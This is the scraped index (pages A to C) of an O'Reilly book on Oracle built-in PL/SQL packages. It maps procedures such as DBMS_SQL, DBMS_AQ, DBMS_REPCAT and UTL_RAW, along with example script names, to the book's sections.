addname procedure : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
administrator accounts : (see advanced replication, administrator accounts)
administrator role (AQ) : 5.2.3. Authorizing Accounts to Use Oracle AQ
Advanced Queuing : (see AQ)
advanced replication
(see also replicated and replication headings)
15. Advanced Replication
account creation : 15.1. DBMS_REPCAT_AUTH: Setting Up Administrative Accounts
administrator accounts : 15.2. DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts
granting privileges : 15.2.2.1. The DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP procedure
revoking privileges
15.2.2.2. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_REPGROUP procedure
15.2.2.4. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_ANY_REPGROUP procedure
propagator accounts : 15.1.3. Granting and Revoking Propagator Accounts (Oracle8)
remote destinations and : 17.1.1. About Remote Destinations
user accounts : 15.1.2. Granting and Revoking Surrogate SYS Accounts
granting privileges : 15.1.2.1. The DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT procedure
revoking privileges : 15.1.2.2. The DBMS_REPCAT_AUTH.REVOKE_SURROGATE_REPCAT procedure
ADVISE_COMMIT procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.2.1. The DBMS_TRANSACTION.ADVISE_ROLLBACK, and ADVISE_COMMIT procedures
ADVISE_NOTHING procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.2.1. The DBMS_TRANSACTION.ADVISE_ROLLBACK, and ADVISE_COMMIT procedures
ADVISE_ROLLBACK procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.2.1. The DBMS_TRANSACTION.ADVISE_ROLLBACK, and ADVISE_COMMIT procedures
agents
(see also consumers; producers)
5.1.5. A Glossary of Terms
object type for : 5.3.4. Agents Object Type
alerts : 3.2. DBMS_ALERT: Broadcasting Alerts to Users
locking and : 3.2.2.5. The DBMS_ALERT.SIGNAL procedure
names for : 3.2.2.1. The DBMS_ALERT.REGISTER procedure
registering : 3.2.2.1. The DBMS_ALERT.REGISTER procedure
removing : 3.2.2.2. The DBMS_ALERT.REMOVE procedure
setting defaults : 3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure
signaling : 3.2.2.5. The DBMS_ALERT.SIGNAL procedure
transactional behavior : 3.2.2.5. The DBMS_ALERT.SIGNAL procedure
waiting for : 3.2.2.6. The DBMS_ALERT.WAITANY procedure
ALL_OBJECTS view, identifying objects and : 2.5.1. A Generic Drop_Object Procedure
ALLOCATE_UNIQUE procedure
4.1.1.1. DBMS_LOCK programs
4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
allocating cursors : (see cursors, opening; cursors, reusing)
ALTER_COMPILE procedure : 10.3.2. Compiling PL/SQL Objects
ALTER_MASTER_PROPAGATION procedure
15.3.1.1. DBMS_REPCAT programs
15.3.8.2. The DBMS_REPCAT.ALTER_MASTER_PROPAGATION procedure
ALTER_MASTER_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs
15.3.3.5. The DBMS_REPCAT.ALTER_MASTER_REPOBJECT procedure
ALTER_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs
16.3.3.2. The DBMS_REPCAT.ALTER_PRIORITY procedure
ALTER_PRIORITY_<datatype> procedure
16.1.1. DBMS_REPCAT Programs
16.3.3.3. The DBMS_REPCAT.ALTER_PRIORITY_<datatype> procedure
ALTER_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.2.3. The DBMS_AQADM.ALTER_QUEUE procedure
ALTER_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs
16.4.3.3. The DBMS_REPCAT.ALTER_SITE_PRIORITY procedure
ALTER_SITE_PRIORITY_SITE procedure
16.1.1. DBMS_REPCAT Programs
16.4.3.4. The DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE
ALTER_SNAPSHOT_PROPAGATION procedure
14.4.1.1. DBMS_REPCAT programs
14.4.4. Altering a Snapshot Replication Group's Propagation Mode
ALTER_TABLE_NOT_REFERENCEABLE procedure
10.3.1.1. DBMS_DDL programs
10.3.4.2. The DBMS_DDL.ALTER_TABLE_NOT_REFERENCEABLE procedure (Oracle8 only)
ALTER_TABLE_REFERENCEABLE procedure
10.3.1.1. DBMS_DDL programs
10.3.4.1. The DBMS_DDL. (Oracle8 only)
alternate indexes, hashing and (example) : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
ANALYZE_DATABASE procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.1. The DBMS_UTILITY.ANALYZE_DATABASE procedure
ANALYZE_OBJECT procedure
10.3.1.1. DBMS_DDL programs
10.3.3.1. The DBMS_DDL.ANALYZE_OBJECT procedure
ANALYZE_PART_OBJECT procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only)
ANALYZE_SCHEMA procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.2. The DBMS_UTILITY.ANALYZE_SCHEMA procedure
AND bit operation : 9.2.3.1. The UTL_RAW.BIT_AND function
ANY parameters : 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4)
ANY_CHAR_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
ANY_CLOB_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
ANY_VARCHAR2_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
apinex1.sql
7.2.3.2. Example
7.2.4.2. Example
7.2.5.2. Example
apinex2.sql : 7.2.6.1. Example
apinex3.sql : 7.3.9. Tracking Long-Running Processes
APPEND procedure
8.1.1. DBMS_LOB Programs
8.3.3.1. The DBMS_LOB.APPEND procedure
AQ (Advanced Queuing) : 5. Oracle Advanced Queuing
components of : 5.1.6. Components of Oracle AQ
constants
5.3.1.1. Administrative tasks
5.3.1.2. Operational tasks
creating : 5.2.1. Installing the Oracle AQ Facility
data structures : 5.3. Oracle AQ Nonprogram Elements
data typing and : 5.1.1. General Features
database objects
5.6. Oracle AQ Database Objects
5.6.1. Objects Per Queue Table
data dictionary : 5.6.2. Data Dictionary Objects
dequeuing : (see dequeuing)
encapsulating (example) : 5.7.1. Improving AQ Ease of Use
enqueuing : (see enqueuing)
example scripts (by Oracle) : 5.7. Oracle AQ Examples
examples : 5.7. Oracle AQ Examples
browsing : 5.7.4. Browsing a Queue's Contents
encapsulating : 5.7.1. Improving AQ Ease of Use
message groups : 5.7.7. Working with Message Groups
multiple consumers : 5.7.8. Working with Multiple Consumers
prioritized queues : 5.7.2. Working with Prioritized Queues
searching by correlation identifier : 5.7.5. Searching by Correlation Identifier
time delay and expiration : 5.7.6. Using Time Delay and Expiration
exception queues : (see exception queues)
exceptions
5.1.3. Dequeue Features
5.3.9. Oracle AQ Exceptions
features : 5.1.1. General Features
glossary of terms : 5.1.5. A Glossary of Terms
installing : 5.2.1. Installing the Oracle AQ Facility
object names : 5.3.2. Object Names
Oracle8 versions and
5. Oracle Advanced Queuing
5.2.2.3. Setting Oracle AQ compatibility
pipes versus : 3.1.2.3. Pipe communications logic
privileges
5.2.1. Installing the Oracle AQ Facility
5.2.3. Authorizing Accounts to Use Oracle AQ
propagation : (see propagating messages)
recipient list : 5.3.6. Message Properties Record Type
roles : 5.2.3. Authorizing Accounts to Use Oracle AQ
stacks (example) : 5.7.3. Building a Stack with AQ Using Sequence Deviation
tables and : 5.1.1. General Features
views for
data dictionary : 5.1.8. Data Dictionary Views
per queue table : 5.6.1.2. The queue table view
aq package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
5.3.2. Object Names
5.4.1.2. Examples
5.7.1. Improving AQ Ease of Use
aq.spp
5.3.2. Object Names
5.7.1. Improving AQ Ease of Use
AQ_ADMINISTRATOR_ROLE : 5.2.3. Authorizing Accounts to Use Oracle AQ
AQ_USER_ROLE : 5.2.3. Authorizing Accounts to Use Oracle AQ
aqadmset.sql file : 5.2.3. Authorizing Accounts to Use Oracle AQ
aqbrowse package
(see also specific program names)
5.7.4. Browsing a Queue's Contents
aqbrowse.sp
5.7.1. Improving AQ Ease of Use
5.7.4. Browsing a Queue's Contents
aqbrowse.tst : 5.7.4. Browsing a Queue's Contents
aqcorrid.spp
5.7.4.1. A template for a show_queue procedure
5.7.5. Searching by Correlation Identifier
aqcorrid.tst : 5.7.5. Searching by Correlation Identifier
aqcorrid.tst : 5.7.5. Searching by Correlation Identifier
aqcref.sql : 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure
aqcremq.sql : 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure
aqcrepq.sql : 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure
aqcreq.sql : 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure
aqdemo*.sql scripts : 5.7. Oracle AQ Examples
aqdeq1.sql : 5.4.2.2. Examples
aqdeq2.sql : 5.4.2.2. Examples
aqdeq2.sql : 5.4.2.2. Examples
aqdeq3.sql : 5.4.2.4. Dequeue order
aqdeq4.sql : 5.4.2.4. Dequeue order
aqenq1.sql : 5.4.1.2. Examples
aqenq2.sql : 5.4.1.2. Examples
aqfor.sql file : 5.2.3. Authorizing Accounts to Use Oracle AQ
aqgroup.spp : 5.7.7.2. Dequeuing messages when part of a group
aqmult.ins : 5.7.8.1. Using the subscriber list
aqmult1.spp : 5.7.8.1. Using the subscriber list
aqmult2.ins : 5.7.8.1. Using the subscriber list
aqmult2.spp : 5.7.8.1. Using the subscriber list
aqmult2.tst : 5.7.8.1. Using the subscriber list
aqmult3.spp : 5.7.8.2. Overriding with a recipient list
aqmult3.tst : 5.7.8.2. Overriding with a recipient list
aqshomsg.sql : 5.4.1.2. Examples
aqshowq package
(see also specific program names)
5.7.4.1. A template for a show_queue procedure
aqshowq.sp : 5.7.4.1. A template for a show_queue procedure
aqstk package
(see also
(see also specific program names)
5.7.3. Building a Stack with AQ Using Sequence Deviation
aqstk.spp : 5.7.3. Building a Stack with AQ Using Sequence Deviation
aqstk2.spp : 5.7.3. Building a Stack with AQ Using Sequence Deviation
aqtiming.ins : 5.7.6. Using Time Delay and Expiration
aqtiming.spp : 5.7.6. Using Time Delay and Expiration
aqtiming.tst : 5.7.6. Using Time Delay and Expiration
arg function : 10.2.3.1. Features of the psdesc package
args procedure : 10.2.3.1. Features of the psdesc package
arguments
(see also parameters)
10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure
RPC arguments : (see RPCs, arguments)
arrayemp.sp : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
arrays
binding variables
2.3.4. Binding Values into Dynamic SQL
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
copying index tables : 2.5.6.5. Using array processing in dynamic PL/SQL
DBMS_SQL used for processing : 2.5.6. Array Processing with DBMS_SQL
defining columns : 2.3.5.2. The DBMS_SQL.DEFINE_ARRAY procedure
deleting rows
2.5.6.2. Using array processing to delete
2.5.7.2. RETURNING from a multiple-row delete
fetching rows : 2.5.6.4. Using array processing to fetch
index-by tables and
2.2.6. DBMS_SQL Nonprogram Elements
2.5.6. Array Processing with DBMS_SQL
inserting rows : 2.5.6.1. Using array processing to insert
Oracle8 and : 2.5.6.1. Using array processing to insert
performance of fetching : 2.5.6.4. Using array processing to fetch
updating rows : 2.5.6.3. Using array processing to update
variable arrays : 2.4.1. Some Restrictions
arrayupd.spp : 2.5.6.3. Using array processing to update
arrayupd.tst : 2.5.6.3. Using array processing to update
as.spp : 5.3.2. Object Names
assign procedure
2.5.5. Indirect Referencing in PL/SQL
2.5.5.1. Assigning a value
auction package
(see also specific program names)
3.2.3.3. Auction system requirements
auction.ddl : 3.2.3.2. The auction schema
auction1.sql : 3.2.3.5. The auction package
authority : (see privileges)
automatic recovery : 4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: B

batch processes, step registration : 7.3.5. Using the register_app Package
BEFORE ROW triggers, replication and : 15.3.4. Replication Support with DBMS_REPCAT
BEGIN_DISCRETE_TRANSACTION procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure
BEGIN_INSTANTIATION procedure : 15.4.2.1. The DBMS_OFFLINE_OG.BEGIN_INSTANTIATION procedure
BEGIN_LOAD procedure (DBMS_OFFLINE_OG)
15.4.1. Getting Started with DBMS_OFFLINE_OG
15.4.2.2. The DBMS_OFFLINE_OG.BEGIN_LOAD procedure
BEGIN_LOAD procedure (DBMS_OFFLINE_SNAPSHOT)
14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs
14.3.2.1. The DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD procedure
BEGIN_TABLE_REORGANIZATION procedure
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.5.1. The DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION procedure (Oracle8 only)
BFILEs
8.2.1. LOB Datatypes
8.2.1.2. The BFILE datatype
closing : 8.3.1.5. The DBMS_LOB.FILECLOSE procedure
exception handling : 8.3.1.6. The DBMS_LOB.FILECLOSEALL procedure
directory aliases : 8.2.2.1. The DIRECTORY object
directory nonexistent exception : 8.3.1.1. The DBMS_LOB.FILEEXISTS function
existence test : 8.3.1.1. The DBMS_LOB.FILEEXISTS function
filenames, returning : 8.3.1.2. The DBMS_LOB.FILEGETNAME procedure
loading : 8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure
locking and : 8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure
opening : 8.3.1.3. The DBMS_LOB.FILEOPEN procedure
exception handling : 8.3.1.3. The DBMS_LOB.FILEOPEN procedure
testing if open : 8.3.1.4. The DBMS_LOB.FILEISOPEN function
populating : 8.2.2.2. Populating a BFILE locator
binary character objects
8.2.1. LOB Datatypes
8.2.1.5. The NCLOB datatype
binary large files : (see BFILEs)
binary large objects : 8.2.1. LOB Datatypes
BIND_ARRAY procedure
2.2.3. DBMS_SQL Programs
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
index-by tables used by : 2.2.6. DBMS_SQL Nonprogram Elements
BIND_VARIABLE procedure
2.2.3. DBMS_SQL Programs
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
Method 4 dynamic SQL and : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
BIND_VARIABLE_CHAR procedure : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
BIND_VARIABLE_RAW procedure : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
BIND_VARIABLE_ROWID procedure : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
binding host variables : (see host variables, binding)
bit strings, operations on : 9.2.3.1. The UTL_RAW.BIT_AND function
bit-fiddling : 9.2.2.3. Bit-fiddling
BIT_AND function : 9.2.3.1. The UTL_RAW.BIT_AND function
BIT_COMPLEMENT function : 9.2.3.2. The UTL_RAW.BIT_COMPLEMENT function
BIT_OR function : 9.2.3.3. The UTL_RAW.BIT_OR function
BIT_XOR function : 9.2.3.4. The UTL_RAW.BIT_XOR function
bitmasks : 9.2.2.3. Bit-fiddling
BLOB_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
BLOBs : 8.2.1. LOB Datatypes
block numbers : (see data block addresses)
book_file function : 8.1.4. About the Examples
book_text function : 8.1.4. About the Examples
book_text_forupdate function : 8.1.4. About the Examples
brackets ([ ]) : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
break_all_jobs procedure
1.3.5.1. Examples of encapsulation packages
13.3.3. DBMS_IJOB: Managing Other Users' Jobs
broadcasting : 5.1.4. Propagation Features
alerts : 3.2. DBMS_ALERT: Broadcasting Alerts to Users
example : 5.7.8. Working with Multiple Consumers
illustration : 5.1.5. A Glossary of Terms
broken parameter (job scheduling) : 13.1.2.5. The broken parameter
BROKEN procedure
13.1.1. DBMS_JOB Programs
13.2.7.2. The DBMS_JOB.BROKEN procedure
browsing messages : (see queues, browsing)
built-in packages
(see also packages)
1.1. The Power of Built-in Packages
capabilities of : 1.1. The Power of Built-in Packages
encapsulation of : 1.3.5. Encapsulating Access to the Built-in Packages
exception handling with : 1.3.4. Exception Handling and Built-in Packages
Oracle Developer/2000 and : 1.3.6. Calling Built-in Packaged Code from Oracle Developer/2000 Release 1
purity levels for : 1.3.7.1. Calling a packaged function in SQL
referencing elements of : 1.3.3. Referencing Built-in Package Elements
source code for : 1.4. Examining Built-in Package Source Code
SQL statements and : 1.3.7. Accessing Built-in Packaged Technology from Within SQL
summary list : 1.2. Built-in Packages Covered in This Book
wrapping : 1.3.3. Referencing Built-in Package Elements
byte strings
range of values : 9.2.3.17. The UTL_RAW.XRANGE function
raw data operations : 9.2.2.2. Slicing and dicing
translation : 9.2.3.15. The UTL_RAW.TRANSLATE function
transliteration : 9.2.3.16. The UTL_RAW.TRANSLITERATE function

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: C

calendar format (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
CALL procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs
17.3.2.2. The DBMS_DEFER.CALL procedure
call stack, returning : 10.1.2.10. The DBMS_UTILITY.FORMAT_CALL_STACK function
CANCEL_STATISTICS procedure
16.1.1. DBMS_REPCAT Programs
16.6.1.2. The DBMS_REPCAT.CANCEL_STATISTICS procedure
carriage returns : (see newline markers)
CAST_TO_RAW function : 9.2.3.5. The UTL_RAW.CAST_TO_RAW function
CAST_TO_VARCHAR2 function : 9.2.3.6. The UTL_RAW.CAST_TO_VARCHAR2 function
casting : (see conversions; specific CAST functions)
caterr.sql : 15.3.6.3. The DBMS_REPCAT.PURGE_MASTER_LOG procedure
catjobq.sql script : 13.1. Getting Started with DBMS_ JOB
catlog.sql : 15.3.6.1. The DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN procedure
catoctk.sql script : 10.4.1. Getting Started with DBMS_RANDOM
catqueue.sql file : 5.6.1.1. The database table for queue data
catrep.sql script
16.1. Getting Started with DBMS_REPCAT
17.2.1. Getting Started with DBMS_DEFER_SYS
17.3.1. Getting Started with DBMS_DEFER
17.4.1. Getting Started with DBMS_DEFER_QUERY
CHANGE procedure
13.1.1. DBMS_JOB Programs
13.2.6.1. The DBMS_JOB.CHANGE procedure
14.2.1. Getting Started with DBMS_REFRESH
14.2.4. Altering Properties of a Snapshot Group
change_it_again procedure : 5.7.8.2. Overriding with a recipient list
CHAR_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
character large objects : (see CLOBs; NCLOBs)
character sets
fixed-width : (see CLOBs; NCLOBs)
National Language Support, conversions for : 9.2.3.9. The UTL_RAW.CONVERT function
variable-width
8.2.1.4. The CLOB datatype
8.2.1.5. The NCLOB datatype
CHECK_PRIVS procedure : 13.1.1. DBMS_JOB Programs
client information
registering : 7.2.4. The DBMS_APPLICATION_INFO.SET_CLIENT_INFO procedure
returning : 7.2.1. The DBMS_APPLICATION_INFO.READ_CLIENT_INFO procedure
client_info procedure : 7.3.1. About the register_app Package
client_request procedure : 3.1.7.5. The pipesvr package
CLOB_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
CLOBs
8.2.1. LOB Datatypes
8.2.1.4. The CLOB datatype
CLOSE_CURSOR procedure
2.2.3. DBMS_SQL Programs
2.3.9.1. The DBMS_SQL.CLOSE_CURSOR procedure
CLOSE_DATABASE_LINK procedure
11.1.1.1. DBMS_SESSION programs
11.1.4.1. The DBMS_SESSION.CLOSE_DATABASE_LINK procedure
close_item procedure : 3.2.3.5. The auction package
close_links procedure
11.1.5.1. Adding value to DBMS_SESSION
11.1.5.5. The close_links procedure
closepipe function : 3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function
cluster segments, space utilization : 12.1. DBMS_SPACE: Obtaining Space Information
coercions : 9.2.2.1. Conversion and coercion
column groups : 16.2. Column Groups with DBMS_REPCAT
adding columns : 16.2.3.1. The DBMS_REPCAT.ADD_GROUPED_COLUMN procedure
comments, creating or replacing : 16.2.3.3. The DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP procedure
concepts : 16.2.1. About Column Groups
creating with columns : 16.2.2.3. The DBMS_REPCAT.MAKE_COLUMN_GROUP procedure
creating without columns : 16.2.2.1. The DBMS_REPCAT.DEFINE_COLUMN_GROUP procedure
dropping column groups : 16.2.2.2. The DBMS_REPCAT.DROP_COLUMN_GROUP procedure
dropping columns : 16.2.3.2. The DBMS_REPCAT.DROP_GROUPED_COLUMN procedure
COLUMN_VALUE procedure
2.2.3. DBMS_SQL Programs
2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
Method 4 dynamic SQL and : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
COLUMN_VALUE_CHAR procedure : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
COLUMN_VALUE_LONG procedure
2.2.3. DBMS_SQL Programs
2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure
COLUMN_VALUE_RAW procedure : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
COLUMN_VALUE_ROWID procedure : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
columns
datatype determination (example) : 2.5.4.3. Constructing the SELECT
datatype values for : 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure
defining
2.3.1. Processing Flow of Dynamic SQL
2.3.5. Defining Cursor Columns
describing : 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure
pseudocolumns : 9.1.2. ROWID Concepts
retrieving
2.3.1. Processing Flow of Dynamic SQL
2.3.8. Retrieving Values
retrieving descriptions of : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
retrieving number of in tables : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
comma-delimited lists
creating : 10.1.2.20. The DBMS_UTILITY.TABLE_TO_COMMA procedure
parsing : 10.1.2.4. The DBMS_UTILITY.COMMA_TO_TABLE procedure
COMMA_TO_TABLE procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.4. The DBMS_UTILITY.COMMA_TO_TABLE procedure
COMMENT_ON_<conflicttype>_RESOLUTION procedure
16.1.1. DBMS_REPCAT Programs
16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure
COMMENT_ON_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs
16.2.3.3. The DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP procedure
COMMENT_ON_DELETE_RESOLUTION procedure : 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure
COMMENT_ON_PRIORITY_GROUP procedure
16.1.1. DBMS_REPCAT Programs
16.3.2.3. The DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP procedure
COMMENT_ON_REPGROUP procedure
15.3.1.1. DBMS_REPCAT programs
15.3.2.3. The DBMS_REPCAT.COMMENT_ON_REPGROUP procedure
COMMENT_ON_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs
15.3.3.6. The DBMS_REPCAT.COMMENT_ON_REPOBJECT procedure
COMMENT_ON_REPSITES procedure
15.3.1.1. DBMS_REPCAT programs
15.3.5.3. The DBMS_REPCAT.COMMENT_ON_REPSITES procedure
COMMENT_ON_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs
16.4.2.3. The DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY procedure
COMMENT_ON_UNIQUE_RESOLUTION procedure : 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure
COMMENT_ON_UPDATE_RESOLUTION procedure : 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure
COMMIT procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.3.1. The DBMS_TRANSACTION.COMMIT procedure
COMMIT_COMMENT procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.3.2. The DBMS_TRANSACTION.COMMIT_COMMENT procedure
COMMIT_FORCE procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.3.3. The DBMS_TRANSACTION.COMMIT_FORCE procedure
COMMIT_WORK procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs
17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure
commitment : 4.2.3. Committing Data
alerts and : 3.2.2.5. The DBMS_ALERT.SIGNAL procedure
DDL statement processing and : 10.3.1. Getting Started with DBMS_DDL
deferred transactions and
17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure
17.2.5.2. The DBMS_DEFER_SYS.EXECUTE procedure
17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure
job scheduling and
13.2.5.1. The DBMS_JOB.SUBMIT procedure
13.2.7.3. The DBMS_JOB.RUN procedure
locks
allocating locks : 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
named locks : 4.1.3.4. ALLOCATE_UNIQUE drawbacks
persistence : 4.1.2.2. The DBMS_LOCK.REQUEST function
committed_TF function : 4.1.4.1. The dblock package
Companion Utilities Guide (diskette)
A. What's on the Companion Disk?
About the Disk
COMPARE function (DBMS_LOB)
8.1.1. DBMS_LOB Programs
8.3.2.1. The DBMS_LOB.COMPARE function
COMPARE function (UTL_RAW) : 9.2.3.7. The UTL_RAW.COMPARE function
compatibility function : 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure
COMPILE_SCHEMA procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.5. The DBMS_UTILITY.COMPILE_SCHEMA procedure
compositing : (see funneling in)
compressed data : (see message buffers, compressed data in)
CONCAT function : 9.2.3.8. The UTL_RAW.CONCAT function
concatenation
raw data
9.2.3.10. The UTL_RAW.COPIES function
9.2.3.8. The UTL_RAW.CONCAT function
SQL statement construction by : 2.3.4. Binding Values into Dynamic SQL
binding versus concatenation
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure 2.3.4. Binding Values into Dynamic SQL
concurrency, raw data and : 9.2. UTL_RAW: Manipulating Raw Data
conflict resolution
(see also column groups; priority groups; site priority groups)
16. Conflict Resolution
adding resolution types : 16.5.1.1. The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION
auditing : 16.6. Monitoring Conflict Resolution with DBMS_REPCAT
purging data : 16.6.1.3. The DBMS_REPCAT.PURGE_STATISTICS procedure
starting data collection : 16.6.1.1. The DBMS_REPCAT.REGISTER_STATISTICS procedure
stopping data collection : 16.6.1.2. The DBMS_REPCAT.CANCEL_STATISTICS procedure
comments on resolution types, creating or replacing : 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure
data dictionary views : 16.1.4. Data Dictionary Views
dropping resolution types : 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure
methods : 16.5.1. About Resolution Methods
replication support and : 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
replication triggers and : 14.1.2.2. The DBMS_SNAPSHOT.SET_I_AM_A_REFRESH procedure
connections, PL/SQL and : 2.4.7. Executing DDL in PL/SQL
consistency
dequeuing and : 5.4.2.5. Dequeue navigation
raw data and : 9.2. UTL_RAW: Manipulating Raw Data
consumers
(see also multiple consumers; producers)
5.1.2. Enqueue Features
5.1.5. A Glossary of Terms
delaying dequeuing : 5.3.6. Message Properties Record Type
specifying : 5.3.8. Dequeue Options Record Type
conventions : Conventions Used in This Book
conversions
GET_LINE and : 6.2.3.1. The UTL_FILE.GET_LINE procedure
raw data and
9.2.2.1. Conversion and coercion
9.2.3.5. The UTL_RAW.CAST_TO_RAW function
9.2.3.9. The UTL_RAW.CONVERT function
CONVERT function
4.1.1.1. DBMS_LOCK programs
4.1.2.3. The DBMS_LOCK.CONVERT function
9.2.3.9. The UTL_RAW.CONVERT function
COPIES function : 9.2.3.10. The UTL_RAW.COPIES function
COPY procedure (DBMS_DEFER_SYS)
17.2.1.1. DBMS_DEFER_SYS programs
17.2.3. Copying Deferred Transactions to New Destinations
COPY procedure (DBMS_LOB)
8.1.1. DBMS_LOB Programs
8.3.3.2. The DBMS_LOB.COPY procedure
copyto procedure
2.5.5. Indirect Referencing in PL/SQL
2.5.5.3. Copying a value to a packaged variable
correlation identifiers : 5.3.6. Message Properties Record Type
dequeuing and : 5.3.8. Dequeue Options Record Type
example : 5.7.5. Searching by Correlation Identifier
wildcarding : 5.7.5.1. Wildcarded correlation identifiers
